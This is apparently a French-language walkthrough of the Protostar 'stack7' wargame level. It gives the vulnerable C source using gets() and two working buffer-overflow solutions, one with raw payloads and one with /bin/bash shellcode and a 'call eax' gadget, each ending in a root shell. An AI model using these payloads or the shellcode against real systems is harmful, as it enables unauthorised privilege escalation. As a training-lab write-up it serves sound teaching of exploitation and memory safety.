====== Stack 7 ====== #include #include #include #include char *getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xb0000000) == 0xb0000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); return strdup(buffer); } int main(int argc, char **argv) { getpath(); } ===== Solution 1 ===== La solution du stack6 fonctionne aussi sur ce niveau ;) user@protostar:/opt/protostar/bin$ (python -c 'print "A"*80+"\x83\x83\x04\x08"+"\x6d\xfd\xff\xbf"'; cat) | ./stack7 input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAAAAAAAAAA?m??? id uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user) ===== Solution 2 ===== On remarque que la fonction retourne ce que nous avons entré dans le ''gets''. Les valeurs de retour sont passées dans le registre ''eax'', donc le registre ''eax'' pointe vers notre buffer. Il suffit donc de mettre notre shellcode directement dans le buffer et de sauter sur un ''call eax'' ou un ''jmp eax''. user@protostar:/opt/protostar/bin$ objdump -S ./stack7 | grep call | grep eax 8048478: ff 14 85 5c 96 04 08 call *0x804965c(,%eax,4) 80484bf: ff d0 call *%eax 80485eb: ff d0 call *%eax user@protostar:/opt/protostar/bin$ (python -c 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"+"A"*47+"\xbf\x84\x04\x08"'; cat) | ./stack7 input path please: got path j X?Rfh-p??Rjhh/bash/bin??RQS??̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAAAAAAAAAA?? id uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)